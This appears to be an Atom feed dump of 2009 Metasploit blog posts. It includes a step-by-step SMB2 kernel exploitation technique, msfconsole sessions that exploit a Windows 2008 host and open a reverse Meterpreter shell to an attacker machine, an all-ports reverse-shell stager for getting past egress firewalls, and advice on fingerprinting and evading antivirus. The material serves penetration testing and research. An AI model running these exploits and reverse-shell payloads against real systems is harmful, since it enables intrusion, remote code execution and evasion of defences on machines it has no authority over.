style="border: 1px solid rgb(0, 0, 0);" /&gt;&lt;/p&gt;At offset 0x000056B3 EAX is initialized with a word from [ESI+0Ch]. The [ESI+0Ch] location points to the SMB2 packet, giving the attacker complete control on the lower 16 bits of the EAX register (AX).  In the next instruction (0x000056B7) our controlled EAX is used as an array index. There is only one safety check on this value that verifies that *(DWORD*)ValidateRoutines[EAX*4] is not NULL. This is the cause of this vulnerability, since there is no check to determine if the EAX value (array index) exceeds the number of elements in the ValidateRoutines array.  Further in the code, the location pointed to by ValidateRoutines[EAX*4] is executed by the "call EAX" instruction (0x000056CA).&lt;br /&gt;&lt;br /&gt;In summary, we can redirect execution to any location (as long as it is not null) from ValidateRoutines to (ValidateRoutines + (0xFFFF * 4)). This gives us about 2^16 potential memory locations to check. this is not completely accurate, since we cannot assume that any memory location outside the SRV2.SYS address space will be consistent across mul;tiple machines (device driver ImageBase addresses change on every boot). To make my life less miserable, I wrote a little program that dumps the SRV2.SYS address space from system memory, then disassembles every potential region that can be reached through ValidateRoutines[INDEX*4]. Additionally, I set some boundaries that ensure we are operating only on the SRV2.SYS address space. Here are the results I have obtained:&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://metasploit.com/images/blog/piotr.smb2.indexes.html" width="600px" height="200px"&gt;&lt;br /&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;I must confess that I was confused at first, not because of the results obtained, but due to the Immunity exploit video that was released. In this video, they stated that exploitation is based on on time values. This led me to focus on any function that manipulated time values.  I noticed that the SrvBalanceCredits function (index 0x31, 0x4b7) can be used to modify the CurrentTime structure (0x0001D320), which can then be  used again later as the memory address for a "call EAX". However, since KeQuerySystemTime returns the time as a count of 100-nanosecond intervals since January 1, 1601 and the system time is typically updated approximately every ten milliseconds, it is very unlikely to use this as reliable offset. An alternative would be to use the BootTime variable and reboot the machine to reset it, however my results were still not satisfying (the BootTime and CurrentTime values are both returned as part of a normal SMB2 NEGOTIATE_RESPONSE packet, so it is possible to query these remotely).&lt;br /&gt;&lt;br /&gt;I decided that the time approach was a dead end and that it was time to start over from scratch and never watch Immunity videos again :-) After leaving the time approach I decided to look into the functions that would corrupt the stack by using a accepting a different number of arguments than the original function. The following indexes showed the most promise: 0x217 (srv2!SrvSnapShotScavengerTimer), 0x237 (srv2!SrvScavengerTimer), 0x1e3 (srv2!SrvScavengeDurableHandlesTimer), and 0x1bb (srv2!SrvProcessOplockBreakTimer). Stephen Fewer's exploit uses the 0x217 (srv2!SrvSnapShotScavengerTimer) as a index value. All four of those indexes have something in common: &lt;p align="center"&gt;&lt;img src="http://metasploit.com/images/blog/ret10_routines.png" style="border: 1px solid rgb(0, 0, 0);" /&gt;&lt;/p&gt;Each of those functions ends with a "ret 10h", indicating the function expects four arguments, and will adjust the stack to account for those when it returns. To see how this helps us, lets take one more look at the vulnerable code: &lt;p align="center"&gt;&lt;img src="http://metasploit.com/images/blog/vuln_code_end.png" style="border: 1px solid rgb(0, 0, 0);" /&gt;&lt;/p&gt;As you can see, the procedure pointed to by EAX is called (0x000056CA) with one argument on the stack (see 0x000056C9 - PUSH EBX). SRV2.SYS assumes that the called function is using the stdcall convention (callee is responsible for cleanup of the stack). Since we forced EAX to point to one of the "ret 10" functions, the callee will clean the stack, but adjust it for for four parameters, not just the single parameter that was passed in (0x10=16 -&amp;gt; 16/4=4). How does this influence the execution flow? Take a look:&lt;img src="http://metasploit.com/images/blog/my_stack.png" style="border: 1px solid rgb(0, 0, 0);" /&gt;&lt;p&gt;&lt;/p&gt;The first "d ESP" command shows the stack before the "CALL EAX" (where EAX points to on of the "ret 10" procedures). The second "d ESP" shows the stack after the "ret 10" function was executed. The important part is when the "POP ESI" (0x000056D0) instruction is executed, it will be exchanged with the pointer to our SMB packet (see "d poi(esp+4)") -- this will bring us some serious kudos later. Additionally, even if at the moment the stack pointer is invalid (because we haxored it) it will be reinitialized correctly by the instruction at 0x000056D9. As you probably know, the LEAVE instruction (also called High Level Procedure Exit), sets the ESP to EBP and pops EBP. In other words, despite the fact we have mangled the stack and forced ESI to point to our packed data, ESP will be "good" again. That is important, since otherwise it would cause an exception when executing the "ret 4".  Lets assume we used 0x237 (srv2!SrvScavengerTimer) as an index, after few instructions we land here: &lt;p align="center"&gt;&lt;img src="http://metasploit.com/images/blog/landing1.png" style="border: 1px solid rgb(0, 0, 0);" /&gt;&lt;/p&gt;As you can see, ESI still points to our packet. The instruction at 0x0001FAB1 (setnl cl) is also a key factor in the way I have chosen to exploit this, since the setnl result depends on the value our called "faked function", which is why a function like 0x1e3 (srv2!SrvScavengeDurableHandlesTimer) will not work), since the CL register must be 1 before the PUSH ecx is executed. This will be discussed later.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step Two. Mum I want a Trampoline!&lt;/b&gt;&lt;br /&gt;In this step we will create a trampoline that will transfer the code execution to the shellcode. Stephen's exploit code depended on a static "pop esi; ret" address that made it unreliable on many non-virtual machines. With my technique, we just need to find a stable 4-byte memory region filled with NULL bytes (or any other predictable value) and we will force the SMB code to build a trampoline for us, using just 351 packets. After some digging I found following piece of code interesting (located in the end of _SrvProcPartialCompleteCompoundedRequest@8 function): &lt;p align="center"&gt;&lt;img src="http://metasploit.com/images/blog/go_tramp.png" style="border: 1px solid rgb(0, 0, 0);" /&gt;&lt;/p&gt;The instruction located at 0x0002115F is used to automically increase the value pointed to by the EAX register by ECX (=1). This is actually a variation of the InterlockedExchangeAdd function.  The key point here is that the EAX register value is controlled by the SMB packet and ECX is set to 1. Lets review how the EBX register value is computed:&lt;p align="center"&gt;&lt;img src="http://metasploit.com/images/blog/ebx_compute.png" style="border: 1px solid rgb(0, 0, 0);" /&gt;&lt;/p&gt;In the code above, you can that EBX is equal to the [packet+0xAC] field. This means that the memory region that is be increased by the xadd instruction is equal to [packet+0xAC]+0xBC (this offset changes among the different Vista versions). This provides us with full control of the area that will be increased by each request. So what we are going to do with it? We are going to build a trampoline, dumbass :-)&lt;br /&gt;&lt;br /&gt;To do that we, must consider:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1)&lt;/b&gt; We need an absolute memory address that is executable (see DEP) and is filled with constant data (NULLs in our case, however thanks to the xadd arithmetic operation any stable value works). We&lt;br /&gt;need four bytes of NULLs at the address and an additional three bytes before it to handle overlapping writes to reduce the number of packets required.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2)&lt;/b&gt; We need to know what value to compute and how many requests it will take to accomplish this.&lt;br /&gt;&lt;br /&gt;Answers:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1)&lt;/b&gt; Lets use the same BIOS/HAL region chosen by Stephen's exploit, since the memory here is readable, writeable, and executable. NULL bytes in this region are much easier to find than a POP ESI;RET for sure!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2)&lt;/b&gt; It seems that the opcode sequence "INC ESI; POP ESI; RET" (0x46 0x5E 0xC3) would be the easiest way to bounce to our shellcode using this as a trampoline. However, writing the value 0x4656C3 with a single increment per require would require us to send 4,609,731 packets. Fortunately, there is a solution that reduces this to just 351 packets -- a much more reasonable number. The trick  is to divide the process into three stages, where each stage is responsible for increasing only one byte. For example, we send 0x46 packets to increment address+0, 0x65 packets to increment address+1, and 0xC3 packets to increment loc+2.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step Three. Code Execution&lt;/b&gt;&lt;br /&gt;Now that the trampoline is ready we just need to jump to it, here is the code responsible for that:&lt;br /&gt;&lt;p align="center"&gt;&lt;img src="http://metasploit.com/images/blog/exec_code.png" style="border: 1px solid rgb(0, 0, 0);" /&gt;&lt;/p&gt;EAX (call desitnation address) is fully controlled by the value from the SMB packet (ESI+168h). This offset changes does change between different Vista versions. Here's the general schema of my attack: &lt;p align="center"&gt;&lt;img src="http://metasploit.com/images/blog/algo.png" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;That is all for now, expect to see an updated Metasploit module in the near future that takes advantage of this technique.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-7598284269692676813?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/zfq_3s4js4Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/7598284269692676813/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=7598284269692676813" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/7598284269692676813?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/7598284269692676813?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/zfq_3s4js4Y/smb2-351-packets-from-trampoline.html" title="SMB2: 351 Packets from the Trampoline" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkIAQ3w-fCp7ImA9WxNXEUo.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-6526433765017561187</id><published>2009-09-27T21:30:00.000-07:00</published><updated>2009-09-28T14:49:02.254-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-28T14:49:02.254-07:00</app:edited><title>Metasploit 3.3 Development Updates</title><content type="html">The last 48 hours has been a &lt;a href="http://trac.metasploit.com/timeline"&gt;whirlwind&lt;/a&gt; of development at the Metasploit Project as we prepare for the 3.3 stable release. Efrain Torres completed the screenshot feature of the espia Metepreter module. This command only works when the process meterpreter is executing inside has access to the active desktop (like explorer.exe). You can see an example of this below:&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; ps&lt;br /&gt;&lt;br /&gt;Process list&lt;br /&gt;============&lt;br /&gt;    PID   Name               Path&lt;br /&gt;    ---   ----               ----&lt;br /&gt;    204   iexplore.exe       C:\Program Files\Internet Explorer\iexplore.exe&lt;br /&gt;    [ snipped ]&lt;br /&gt;    1736  Explorer.EXE       C:\WINDOWS\Explorer.EXE&lt;br /&gt;    3348  sol.exe            C:\WINDOWS\system32\sol.exe&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; migrate 1736&lt;br /&gt;[*] Migrating to 1736...&lt;br /&gt;[*] Migration completed successfully.&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; screenshot /tmp/boom.bmp&lt;br /&gt;[*] Image saved to /tmp/boom.bmp&lt;br /&gt;Opening browser to image.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_zhDBubx8Wns/SsA_4shJItI/AAAAAAAAAHo/Njt1RnUCojg/s1600-h/woot.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 297px;" src="http://2.bp.blogspot.com/_zhDBubx8Wns/SsA_4shJItI/AAAAAAAAAHo/Njt1RnUCojg/s320/woot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5386375397590508242" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This morning &lt;a href="http://harmonysecurity.com/"&gt;Stephen Fewer&lt;/a&gt; released his long-awaited &lt;a href="http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb"&gt;SMB2 code execution module&lt;/a&gt; for the Metasploit Framework. He plans to publish a whitepaper in the near future that discusses the exploit technique and the newly written Vista/2008 ring0 to ring3 stager code. This module is available in the 3.3-dev tree and supports Vista SP1/SP2 and 2008 SP1/SP2 (but not R2) with the same offsets and addresses. Keep in mind that the best workaround for this still-unpatched flaw is to &lt;a href="http://arstechnica.com/microsoft/news/2009/09/microsoft-posts-quick-fix-it-links-for-smb2-flaw-in-vista.ars"&gt;disable the SMB2 protocol&lt;/a&gt;. The auxiliary module "auxiliary/scanner/smb/smb2" can be used to scan the network for systems that still have SMB2 enabled (shown below):&lt;br /&gt;&lt;br /&gt;msf&amp;gt; use auxiliary/scanner/smb/smb2&lt;br /&gt;msf (auxiliary/smb2) &amp;gt; set RHOSTS 192.168.0.0/24&lt;br /&gt;msf (auxiliary/smb2) &amp;gt; set THREADS 100&lt;br /&gt;msf (auxiliary/smb2) &amp;gt; run&lt;br /&gt;&lt;br /&gt;[*] 192.168.0.142 supports SMB 2 [dialect 2.2] and has been online for 54 hours&lt;br /&gt;[*] 192.168.0.211 supports SMB 2 [dialect 2.2] and has been online for 53 hours&lt;br /&gt;&lt;br /&gt;When using Metasploit on Windows XP, socket restrictions prevent scanners from working at their full speed. We recommend using anything but XP (2000, Vista, 7) if you need to use the scanning modules inside Metasploit on Windows. Alternatively, boot the BackTrack4 Virtual Machine in VMWare. &lt;br /&gt;&lt;br /&gt;Now that we have identified two systems with SMB2 enabled, its exploit time!&lt;br /&gt;&lt;br /&gt;msf&amp;gt; use exploit/windows/smb/smb2_negotiate_func_index&lt;br /&gt;msf (exploit/smb2) &amp;gt; set PAYLOAD windows/meterpreter/reverse_tcp&lt;br /&gt;msf (exploit/smb2) &amp;gt; set LHOST 192.168.0.136&lt;br /&gt;msf (exploit/smb2) &amp;gt; set LPORT 5678&lt;br /&gt;msf (exploit/smb2) &amp;gt; set RHOST 192.168.0.211&lt;br /&gt;msf (exploit/smb2) &amp;gt; exploit&lt;br /&gt;&lt;br /&gt;[*] Started reverse handler&lt;br /&gt;[*] Connecting to the target (192.168.0.211:445)...&lt;br /&gt;[*] Sending the exploit packet (854 bytes)...&lt;br /&gt;[*] Waiting up to 180 seconds for exploit to trigger...&lt;br /&gt;[*] Sending stage (719360 bytes)&lt;br /&gt;[*] Meterpreter session 2 opened (192.168.0.136:5678 -&gt; 192.168.0.211:49158)&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; sysinfo&lt;br /&gt;Computer: WIN-UAKGQGDWLX2&lt;br /&gt;OS      : Windows 2008 (Build 6001, Service Pack 1).&lt;br /&gt;Arch    : x86&lt;br /&gt;Language: en_US&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; getuid&lt;br /&gt;Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;br /&gt;Voila! A great way to justify disabling SMB2 across your network.&lt;br /&gt;&lt;br /&gt;Next item of interest -- we are now generating hourly builds of the 3.3-dev tree and making these available for download from the Metasploit web site. These come in two flavors and two sizes. We are offering the 3.3-dev package for Unix systems in both &lt;a href="http://metasploit.com/releases/framework-3.3-dev.tar.bz2"&gt;Full&lt;/a&gt; and &lt;a href="http://metasploit.com/releases/framework-3.3-dev-mini.tar.bz2"&gt;Mini&lt;/a&gt; versions. The Mini version removes the SVN directories, many of the development source files, and the msfweb/msfgui interfaces.&lt;br /&gt;&lt;br /&gt;For the first time, we are offering 3.3-dev packages for Windows (based on Cygwin 1.7 [HEAD]), also in &lt;a href="http://metasploit.com/releases/framework-3.3-dev.exe"&gt;Full&lt;/a&gt; and &lt;a href="http://metasploit.com/releases/framework-3.3-dev-mini.exe"&gt;Mini&lt;/a&gt; versions. The Windows installer is lightweight and can be installed alongside an existing version of Metasploit. The Windows version can be installed to a USB key and made portable, just by specifying the proper path during the install. Finally, the Windows installer can be made to run in batch mode with a command line like the following:&lt;br /&gt;&lt;br /&gt;C:\&amp;gt; framework-3.3-dev-mini.exe /S /D=C:\metasploit33dev&lt;br /&gt;&lt;br /&gt;We would like to make sure everyone is aware of the freely-available &lt;a href="http://www.offensive-security.com/metasploit-unleashed/"&gt;Metasploit Unleashed&lt;/a&gt; Online Course developed by the Offensive Security team. The Metasploit Project is currently working with the team to expand the breadth and depth of this online course, with help from our own official Metasploit courseware. This course should continue to improve at rapid rate over the next few months.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-6526433765017561187?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/nOB44Ln6G3I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/6526433765017561187/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=6526433765017561187" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/6526433765017561187?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/6526433765017561187?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/nOB44Ln6G3I/metasploit-33-development-updates.html" title="Metasploit 3.3 Development Updates" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_zhDBubx8Wns/SsA_4shJItI/AAAAAAAAAHo/Njt1RnUCojg/s72-c/woot.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/09/metasploit-33-development-updates.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8GSXs7fSp7ImA9WxNQGEs.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-4532586515137932025</id><published>2009-09-24T22:48:00.000-07:00</published><updated>2009-09-24T23:40:28.505-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-24T23:40:28.505-07:00</app:edited><title>Forcing Payloads Through Restrictive Firewalls</title><content type="html">I was reading a &lt;a href="http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall"&gt;fun blog post&lt;/a&gt; by Jason Mansfield about different ways to brute force a connection through a restrictive outbound firewall and realized that this would be trivial to implement in Metasploit and would go nicely with another feature implemented earlier today.&lt;br /&gt;&lt;br /&gt;The general idea is that many networks block some or all outbound TCP ports from their network. This is a great way to avoid entire classes of client-side attacks and helps discourage employees from using non-authorized network applications. The trouble is, there are always exceptions. It may be that the CEO needs access to a real-time stock trading application or a developer needs access to a database service hosted at an ISP. Over time, holes start to appear in most outbound TCP rulesets and rarely, if ever get closed.&lt;br /&gt;&lt;br /&gt;During a penetration test, nothing frustrates an auditor like having a working exploit for a target user, but not being able to get an interactive shell. In the case of networks with a restrictive outbound rules, the process of finding an allowed outbound port, or blindly installing some form of tunneling software, is time better spent cracking passwords and writing reports. Creating shellcode that can try multiple ports isn't all that hard, but doing so while keeping the size down and handling errors properly is another story.&lt;br /&gt;&lt;br /&gt;Unfortunately, on the Windows platform, the connect() call will always wait for the system default timeout, unless the socket is in non-blocking mode. We could switch the socket to non-blocking, call select(), check the result, loop, and switch it back to blocking, but this would require a large amount of code, making the payload less useful for exploits that can only hold small amounts of shellcode. The payload can take so long to crawl its way up to the allowed port that the exploit module gives up and shuts down the listener. This is where the other new feature comes into play.&lt;br /&gt;&lt;br /&gt;One often-requested feature is the ability to disable the builtin payload handler code for a particular module in the Metasploit Framework. This would allow the security auditor to launch exploits from one system, but receive the sessions and interact with them on another (using the exploit/multi/handler module on the receiving system). This feature would also allow a long-term, persistent listener (again, through exploit/multi/handler) to wait for a payload that tried all ports.&lt;br /&gt;&lt;br /&gt;The new payload stager (windows/*/reverse_tcp_allports) accepts the LPORT variable as a starting port, tries to connect to the host specified by LHOST, and if it fails, bumps the port up by one and starts all over again. In order for the machine located at the LHOST address to handle all connections to all ports, a dedicated (unused) IP address is necessary, along with some iptables (or pf) magic. The following iptables command line will route all incoming TCP connections to any port to port 4444 of the specified IP (A.B.C.D):&lt;br /&gt;&lt;br /&gt;# iptables -I INPUT -p tcp -m state --state NEW -d  A.B.C.D -j DNAT --to A.B.C.D:4444&lt;br /&gt;&lt;br /&gt;We now need to setup a listener on the receiving system (A.B.C.D):&lt;br /&gt;&lt;br /&gt;msf&amp;gt; use exploit/multi/handler&lt;br /&gt;msf (exploit/handler) &amp;gt; set PAYLOAD windows/meterpreter/reverse_tcp_allports&lt;br /&gt;msf (exploit/handler) &amp;gt; set LHOST A.B.C.D&lt;br /&gt;msf (exploit/handler) &amp;gt; set LPORT 4444&lt;br /&gt;msf (exploit/handler) &amp;gt; exploit -j&lt;br /&gt;&lt;br /&gt;Finally we switch over to the system that is actually generating the attacks. To prevent the payload handler from running on the attacking system, we need to set the DisablePayloadHandler option to 'true':&lt;br /&gt;&lt;br /&gt;msf (exploit/browser0day) &amp;gt; set PAYLOAD windows/meterpreter/reverse_tcp_allports&lt;br /&gt;msf (exploit/browser0day) &amp;gt; set LHOST A.B.C.D&lt;br /&gt;msf (exploit/browser0day) &amp;gt; set LPORT 1&lt;br /&gt;msf (exploit/browser0day) &amp;gt; set DisablePayloadHandler true&lt;br /&gt;msf (exploit/browser0day) &amp;gt; exploit&lt;br /&gt;&lt;br /&gt;As clients connect to the attacking system's browser exploit, the payload they receive will try to connect to the receiving system at A.B.C.D, starting on port 1 and going to port 65535 (then repeating). The iptables rule will map any incoming connection to port 4444, which will activate the handler code, stage-load meterpreter, and make the session available to the auditor. &lt;br /&gt;&lt;br /&gt;Keep in mind that this payload is slow - it can take up to a minute for a blocked port to timeout (its usually much less however) and still a few seconds even when a TCP reset is received. The great thing about splitting the exploit from the handler is that timing no longer matters as much. Even if it takes an hour to find a usable outbound port, the receiving system will still be waiting, while the attacking system can move on to other exploits. Judicious use of the AutoRunScript option for the Metepreter payloads will allow all sorts of actions to take place once the session is established, without requiring an auditor to be waiting on the console.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-4532586515137932025?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/qZfVdfUCDUU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/4532586515137932025/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=4532586515137932025" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4532586515137932025?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4532586515137932025?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/qZfVdfUCDUU/forcing-payloads-through-restrictive.html" title="Forcing Payloads Through Restrictive Firewalls" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">8</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/09/forcing-payloads-through-restrictive.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0EHQXw4fyp7ImA9WxNQF0w.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-5056770621420124664</id><published>2009-09-21T10:24:00.000-07:00</published><updated>2009-09-23T08:27:10.237-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-23T08:27:10.237-07:00</app:edited><title>NSS Labs Endpoint Protection Test Results</title><content type="html">On Monday, &lt;a href="http://www.nsslabs.com/"&gt;NSS Labs&lt;/a&gt; released the results of their anti-malware &lt;a href="http://www.nsslabs.com/anti-malware"&gt;Endpoint Protection Product&lt;/a&gt; tests. The test results are separated into consumer and corporate product lines, with the consumer report available for download from their web site after free registration. &lt;br /&gt;&lt;br /&gt;The test put each product through a 17-day rolling assessment, where each day the latest updates to the product were applied and a fresh list of malware-serving URLs were processed. This provides a clear view of how these products fare in the real world, and not just against a static list of well-known samples. Each product had two opportunities to block the malware, once during download, and again once it was written to disk and executed by the user. The score for a given product is calculated as the sum of both methods of blocking the sample, for example, if it was missed during download, but caught on execution, it still counts as being blocked. Each of these products also contains an anti-virus engine, which should provide some basic protection for unknown samples, based on heuristics and behavior.&lt;br /&gt;&lt;br /&gt;The top-ranking product in the consumer test was Trend Micro, which caught a whopping 96.4% of all malware samples, followed by Kaspersky at 87.8%. Most of the major-brand consumer products had an average closer to 80%, with AVG, Panda, and ESET all coming in below the average. These results show that on average, two out of every ten pieces of malware will slip past consumer-grade security solutions. Users who rely on cheaper products like AVG and ESET have an even lower level of protection, while those using Trend are well above the average. The corporate product test results are a bit different (and somewhat surprising, compared to the consumer results), but are only available for a fee from NSS Labs. If you rely on Sophos for your enterprise endpoint security, this report may be worth purchasing.&lt;br /&gt;&lt;br /&gt;From my own testing with Metasploit-generated payload executables, both Trend and Kaspersky seem to rely on heuristics and behavior more than the other products in the field. For example, this &lt;a href="http://www.virustotal.com/analisis/af5540d8eb64cc06ef40118264eb32681ccf91375cb909fb6cc7005368ff0ef6-1253717195"&gt;VirusTotal report&lt;/a&gt; shows the results of a reverse connect shell generated by the latest version of Metasploit. While two products misclassified the executable as "Win32:Tipa" (due to the read/write/exec section), Trend Micro was the only product to clearly identify the file as "packed" using what looks like an entropy signature. Two McAfee products flagged the file as suspicious, but in most scenarios the file would have been allowed anyways. Unique hashing doesn't work in this case, as the executable is randomized every time it is generated by Metasploit. &lt;br /&gt;&lt;br /&gt;From a penetration testing perspective, the NSS reports are useful in determining not only how robust a client's endpoint protection is, but what the probability of existing infections are for their workstations. A company using a product on the weaker end of the scale (AVG, ESET, etc) is likely to have a higher chance of botnet agents and credential sniffers.&lt;br /&gt;&lt;br /&gt;Some easy ways to determine what filtering software is in use at a given organization are to send an email to a bogus address at the domain, solicit an email response from an internal user, or find a sent email archived online -- any of these methods should allow access to the MIME headers, which security products often insert their product name and version into. For example, if we wanted to see what a particular government agency is using, all we have to do is send an email to a bogus address, wait for the bounce reply, and look at the headers:&lt;br /&gt;&lt;br /&gt;X-IronPort-AV: E=Sophos;i="4.44,431,1249272000";  d="scan'208";a="9936347"&lt;br /&gt;&lt;br /&gt;This line indicates that Sophos is being used with an IronPort appliance and includes the version number of the product. The "1249272000" value after the version is a UNIX timestamp, which converted to a human-readable date becomes "2009-08-02 23:00:00 -0500". This is likely the date on which the product was last updated. From a penetration testing perspective, we need to find a way to bypass detection of our malware by this version of Sophos in order to reach the endpoint. We still don't know what endpoint software is in use, but we can either guess that it too is Sophos-based, or try to solicit an email response from an internal user and then craft our malware so that it avoids both the gateway and the endpoint product. In most cases, bypassing a specific anti-virus is just a matter of hex-editing a few bytes of the executable.&lt;br /&gt;&lt;br /&gt;If we rolled back the clock 10 years, I don't believe anyone expected their anti-virus product to become the end-all of desktop and gateway security. However, the popularity of social media sites has triggered a bloom in social-engineering malware attacks, forcing the anti-virus industry to expand its scope. The products that scored the highest results in the consumer report all used cloud-backed signature sets to detect and block malware, removing the normal window of exploitation between signature updates. The disparity between vendors is surprising, considering the age of the anti-virus industry and the relatively equivalent price points. Penetration testers and system administrators both need to be aware of the strengths and weaknesses of the technology as well as specific products on the market.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-5056770621420124664?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/o_Uc4NgaKkM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/5056770621420124664/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=5056770621420124664" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/5056770621420124664?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/5056770621420124664?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/o_Uc4NgaKkM/nss-labs-endpoint-protection-test.html" title="NSS Labs Endpoint Protection Test Results" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/09/nss-labs-endpoint-protection-test.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YFRXo-cCp7ImA9WxNTEUw.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-1103833258998953598</id><published>2009-08-12T15:02:00.000-07:00</published><updated>2009-08-12T15:11:54.458-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-12T15:11:54.458-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="byakugan" /><category scheme="http://www.blogger.com/atom/ns#" term="searchVtptr" /><title>!jutsu searchVtptr</title><content type="html">With heap metadata exploits going out of favor (hzon's fine work not withstanding), I've recently gone after a number of vtable overwrites.  This can be no fun at all to do by hand, so I've added some helpful code to byakugan to let you search for the pointers to pointers to pointers to code that you need. :)&lt;br /&gt;&lt;br /&gt;So if you're in a sitation where you get this:&lt;br /&gt;&lt;br /&gt;mov ecx, [edx] : edx = [something you control]&lt;br /&gt;push edx&lt;br /&gt;call [ecx + 0x1c]&lt;br /&gt;&lt;br /&gt;You know you've trashed a vtable pointer. If you also say have esi pointing to a buffer you control, then you need to get esi into esp, then return.  To do this though, you'll need a pointer to a pointer that when 